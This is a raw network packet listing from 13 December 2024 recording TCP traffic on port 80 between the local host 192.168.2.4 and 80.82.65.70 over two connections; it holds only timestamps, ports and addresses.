Dec 13, 2024 08:36:31.599176884 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.599222898 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.601609945 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.601718903 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.601763964 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.604207993 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.604317904 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.604363918 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.606775045 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.606853008 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.606923103 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.609277964 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.609324932 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.609392881 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.610304117 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.611845016 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.611910105 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.611952066 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.614404917 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.614507914 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.614568949 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.616935968 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.617037058 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.617058039 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.617127895 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.619515896 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.619563103 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.619591951 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.619630098 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.622077942 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.622136116 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.622176886 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.622216940 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.624686003 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.624742031 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.624798059 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.624847889 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.627238989 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.627326012 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.627358913 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.627588034 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.629774094 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.629825115 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.629861116 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.629915953 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.632335901 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.632410049 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.632440090 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.632672071 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.634921074 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.635190964 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.635355949 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.635432959 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.637439013 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.637567043 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.637595892 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.637610912 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.639997005 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.640059948 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.640096903 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.640156031 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.642561913 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.642612934 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.642627001 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.642669916 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.645147085 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.645250082 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.645281076 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.645308018 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.647680998 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.647772074 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.647775888 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.647819996 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.650254011 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.650324106 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.650760889 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.650811911 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.652759075 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.652883053 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.652936935 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.686589003 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.686937094 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.806663990 CET	80	49766	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.806746006 CET	49766	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.807087898 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:31.807262897 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.807749033 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:31.927642107 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.419584990 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.419620037 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.419635057 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.419702053 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.419723988 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.419734001 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.419737101 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.419744968 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.419750929 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.419756889 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.419848919 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.419934034 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.419940948 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.420037985 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.545064926 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.545123100 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.545279980 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.547261000 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.549629927 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.611264944 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.611377954 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.611381054 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.611445904 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.615461111 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.615525007 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.615602016 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.615648985 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.623888969 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.623904943 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.623948097 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.632256031 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.632318974 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.632344961 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.632376909 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.640834093 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.640966892 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.640991926 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.641011953 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.649151087 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.649235964 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.649282932 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.649326086 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.657501936 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.657557011 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.657645941 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.657802105 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.665885925 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.665985107 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.666055918 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.674374104 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.674464941 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.674540043 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.682769060 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.682806969 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.682868958 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.691132069 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.691203117 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.691245079 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.691292048 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.699378014 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.699450016 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.744730949 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.744749069 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.744919062 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.803308010 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.803380013 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.803495884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.803684950 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.805721045 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.805753946 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.805778980 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.805803061 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.810477972 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.810535908 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.810597897 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.815285921 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.815445900 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.815473080 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.815521002 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.820103884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.820178032 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.820331097 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.820331097 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.824846983 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.824939013 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.825016022 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.829482079 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.829593897 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.829612017 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.829653025 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.834177017 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.834268093 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.834317923 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.838880062 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.838932991 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.838959932 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.839000940 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.843549013 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.843708038 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.843766928 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.848279953 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.848331928 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.848356962 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.848401070 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.852936029 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.852992058 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.853035927 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.853080034 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.857641935 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.857691050 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.857736111 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.857775927 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.862297058 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.862380981 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.862427950 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.866991043 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.867005110 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.867067099 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.871746063 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.871773005 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.871824980 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.871845961 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.876342058 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.876369953 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.876461983 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.876461983 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.880768061 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.880819082 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.880882025 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.880928993 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.885312080 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.885379076 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.885685921 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.885782957 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.889700890 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.889811993 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.889811993 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.889976978 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.894187927 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.894308090 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.894344091 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.894364119 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.898631096 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.898696899 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.898755074 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.898798943 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.903059006 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.903450966 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.940217018 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.940288067 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.940290928 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.940335035 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.942425013 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.942492962 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.995402098 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.995443106 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.995502949 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:33.997100115 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.997255087 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:33.997304916 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.000622988 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.000684977 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.000705957 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.001030922 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.004168034 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.004234076 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.004265070 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.004307032 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.006865025 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.006952047 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.006980896 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.007021904 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.009536028 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.009571075 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.009586096 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.009629965 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.012181997 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.012240887 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.012269974 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.012310028 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.014786005 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.014858961 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.014884949 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.014928102 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.017378092 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.017431974 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.017586946 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.017631054 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.019948959 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.019999027 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.020025969 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.020447969 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.022449017 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.022502899 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.022521019 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.022564888 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.024882078 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.025019884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.025100946 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.025100946 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.027395964 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.027451992 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.027503014 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.029763937 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.029814005 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.029902935 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.029958010 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.032252073 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.032340050 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.032388926 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.034687996 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.034787893 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.034843922 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.037158012 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.037240982 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.037271023 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.037321091 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.039777994 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.039799929 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.039829969 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.039856911 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.042052984 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.042114973 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.042149067 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.042193890 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.044538975 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.044687033 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.044739008 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.046982050 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.047045946 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.047092915 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.047142982 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.049412012 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.049475908 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.049511909 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.049560070 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.051868916 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.051938057 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.051948071 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.051995039 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.054354906 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.054408073 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.054408073 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.054450989 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.056754112 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.056854963 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.056905985 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.059220076 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.059262991 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.059318066 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.061629057 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.061690092 CET	49772	80	192.168.2.4	80.82.65.70
